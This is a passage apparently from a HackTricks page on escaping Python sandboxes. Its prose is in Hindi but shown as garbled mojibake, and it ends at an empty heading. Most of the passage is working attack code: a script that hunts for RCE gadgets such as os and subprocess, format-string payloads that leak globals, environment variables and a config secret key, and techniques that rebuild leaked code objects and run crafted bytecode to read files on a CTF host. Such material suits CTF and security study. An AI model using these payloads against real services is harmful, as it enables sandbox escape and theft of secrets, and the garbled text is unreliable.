SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()

рдЖрдк рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md

Python рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ

рдпрджрд┐ рдЖрдк python рдХреЛ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рднреЗрдЬрддреЗ рд╣реИрдВ рдЬреЛ рдлреЙрд░реНрдореЗрдЯ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ, рддреЛ рдЖрдк python рдЖрдВрддрд░рд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП {} рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ globals рдпрд╛ builtins рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ рд╕реАрдорд╛ рд╣реИ, рдЖрдк рдХреЗрд╡рд▓ рдкреНрд░рддреАрдХреЛрдВ .[] рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЖрдк рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ, рдХреЗрд╡рд▓ рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдПред рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдХреИрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рддреЛ рдХреГрдкрдпрд╛ рдореБрдЭрд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░реЗрдВред

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк attributes рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ dot рдХреЗ рд╕рд╛рде people_obj.__init__ рдФрд░ dict element рдХреЛ parenthesis рдХреЗ рд╕рд╛рде рдмрд┐рдирд╛ рдХреЛрдЯреНрд╕ рдХреЗ __globals__[CONFIG] рд╕реЗ access рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк .__dict__ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рддрддреНрд╡реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)ред

рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреА рдХреБрдЫ рдЕрдиреНрдп рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ executing functions str, repr рдФрд░ ascii рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ !s, !r, !a рдЬреЛрдбрд╝рдХрд░:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрдХреНрд╖рд╛рдУрдВ рдореЗрдВ рдирдП рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЛ рдХреЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

рдЕрдзрд┐рдХ рдЙрджрд╛рд╣рд░рдг рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП https://pyformat.info/ рдкрд░ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ

Python рдЖрдВрддрд░рд┐рдХ рд╡рд╕реНрддреБрдУрдВ рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЧреИрдЬреЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреА рднреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

Python Internal Read Gadgets

рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг рдкреЗрд▓реЛрдбреНрд╕

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

Python рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг

рдпрджрд┐ рдЖрдк python bytecode рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рд╕реАрдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рдЗрд╕ рд╢рд╛рдирджрд╛рд░ рдкреЛрд╕реНрдЯ рдХреЛ рдкрдврд╝реЗрдВ: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d

рдХреБрдЫ CTFs рдореЗрдВ рдЖрдкрдХреЛ рдХрд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдирд╛рдо рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдлреНрд▓реИрдЧ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ рдЖрдкрдХреЛ рдЗрд╕реЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЖрдВрддрд░рд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЛ рджреЗрдЦрдирд╛ рд╣реЛрдЧрд╛ред

рдпрд╣ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рд╣реИ:

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ рдФрд░ func_globals(рдПрдХ рд╕рдорд╛рди) рд╡реИрд╢реНрд╡рд┐рдХ рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдк рдХреБрдЫ рдЖрдпрд╛рддрд┐рдд рдореЙрдбреНрдпреВрд▓, рдХреБрдЫ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдФрд░ рдЙрдирдХреЗ рдШреЛрд╖рд┐рдд рд╕рд╛рдордЧреНрд░реА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

рдпрд╣рд╛рдБ рдФрд░ рд╕реНрдерд╛рди рджреЗрдЦреЗрдВ рдЬрд╣рд╛рдБ globals рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ

рдлрдВрдХреНрд╢рди рдХреЛрдб рддрдХ рдкрд╣реБрдБрдЪрдирд╛

__code__ рдФрд░ func_code: рдЖрдк рдлрдВрдХреНрд╢рди рдХреЗ рдЗрд╕ attribute рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдлрдВрдХреНрд╢рди рдХрд╛ рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

рдХреЛрдб рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛

# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдбрд┐рд╕рдЕрд╕реНрд╕реЗрдореНрдмрд▓реА

import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк python sandbox рдореЗрдВ dis рдЖрдпрд╛рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рддреЛ рдЖрдк рдлрд╝рдВрдХреНрд╢рди рдХрд╛ bytecode рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (get_flag.func_code.co_code) рдФрд░ рдЗрд╕реЗ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ disassemble рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рд▓реЛрдб рд╣реЛ рд░рд╣реЗ рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреА рд╕рд╛рдордЧреНрд░реА рдирд╣реАрдВ рджреЗрдЦреЗрдВрдЧреЗ (LOAD_CONST) рд▓реЗрдХрд┐рди рдЖрдк рдЙрдиреНрд╣реЗрдВ (get_flag.func_code.co_consts) рд╕реЗ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ LOAD_CONST рднреА рд▓реЛрдб рд╣реЛ рд░рд╣реЗ рд╡реЗрд░рд┐рдПрдмрд▓ рдХрд╛ рдСрдлрд╕реЗрдЯ рдмрддрд╛рддрд╛ рд╣реИред

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE

Python рд╕рдВрдХрд▓рди

рдЕрдм, рдЪрд▓рд┐рдП рдХрд▓реНрдкрдирд╛ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЖрдк рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЬреИрд╕реЗ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЖрдк рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рдбрд┐рд╕рдЕрд╕реЗрдВрдмрд▓ рдкрдврд╝рдиреЗ рд╕реЗ рдЖрдк рдлреНрд▓реИрдЧ рдХреА рдЧрдгрдирд╛ рдХреИрд╕реЗ рдХрд░реЗрдВ рдпрд╣ рдирд╣реАрдВ рдЬрд╛рдирддреЗ (рдПрдХ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ calc_flag рдлрд╝рдВрдХреНрд╢рди рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ)

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Creating the code object

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдореЗрдВ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдХреИрд╕реЗ рдмрдирд╛рдпрд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рдо рдПрдХ рдмрдирд╛ рд╕рдХреЗрдВ рдЬреЛ рд╣рдорд╛рд░реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗ:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдП рдЬрд╛ рд░рд╣реЗ рдкрд╛рдпрдерди рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЕрдиреБрд╕рд╛рд░ code_type рдХреЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рд╡рд┐рднрд┐рдиреНрди рдХреНрд░рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдЬрд╛рдирдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдЖрдк рдЬрд┐рд╕ рдкрд╛рдпрдерди рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдЪрд▓рд╛ рд░рд╣реЗ рд╣реИрдВ, рдЙрд╕рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдХреНрд░рдо рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЪрд▓рд╛рдПрдБ:

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

рд▓реАрдХ рдХреА рдЧрдИ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдирд╛

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣рдо рдлрд╝рдВрдХреНрд╢рди рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рд╕реЗ рд╕реАрдзреЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рднреА рдбреЗрдЯрд╛ рд▓реЗрдВрдЧреЗред рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдлрд╝рдВрдХреНрд╢рди code_type рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдорд╛рди рд╡рд╣ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рд▓реАрдХ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Bypass Defenses

In previous examples at the beginning of this post, you can see рдХреИрд╕реЗ рдХрд┐рд╕реА рднреА python рдХреЛрдб рдХреЛ compile рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ. рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдкреВрд░реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХреЛ рд▓реВрдк рдФрд░ рд╕рдм рдХреБрдЫ рдХреЗ рд╕рд╛рде рдПрдХ рд▓рд╛рдЗрди рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдФрд░ рд╣рдо exec рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рд╡рд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ). рдЦреИрд░, рдХрднреА-рдХрднреА рдпрд╣ рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди рдореЗрдВ рдПрдХ рд╕рдВрдХрд▓рд┐рдд рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдиреЗ рдФрд░ рдЗрд╕реЗ CTF рдорд╢реАрди рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ CTF рдореЗрдВ compiled рдлрд╝рдВрдХреНрд╢рди рдирд╣реАрдВ рд╣реИ).

For example, let's compile and execute manually a function that reads ./poc.py:

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

рдпрджрд┐ рдЖрдк eval рдпрд╛ exec рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдПрдХ рд╕рд╣реА рдлрд╝рдВрдХреНрд╢рди рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд░рдирд╛ рдЖрдорддреМрд░ рдкрд░ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛: constructor restricted mode рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИред рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП restricted environment рдореЗрдВ рдирд╣реАрдВ рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рдлрд╝рдВрдХреНрд╢рди рдЪрд╛рд╣рд┐рдПред

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

рд╕рдВрдХрд▓рд┐рдд рдкрд╛рдпрдерди рдХреЛ рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рдХрд░рдирд╛

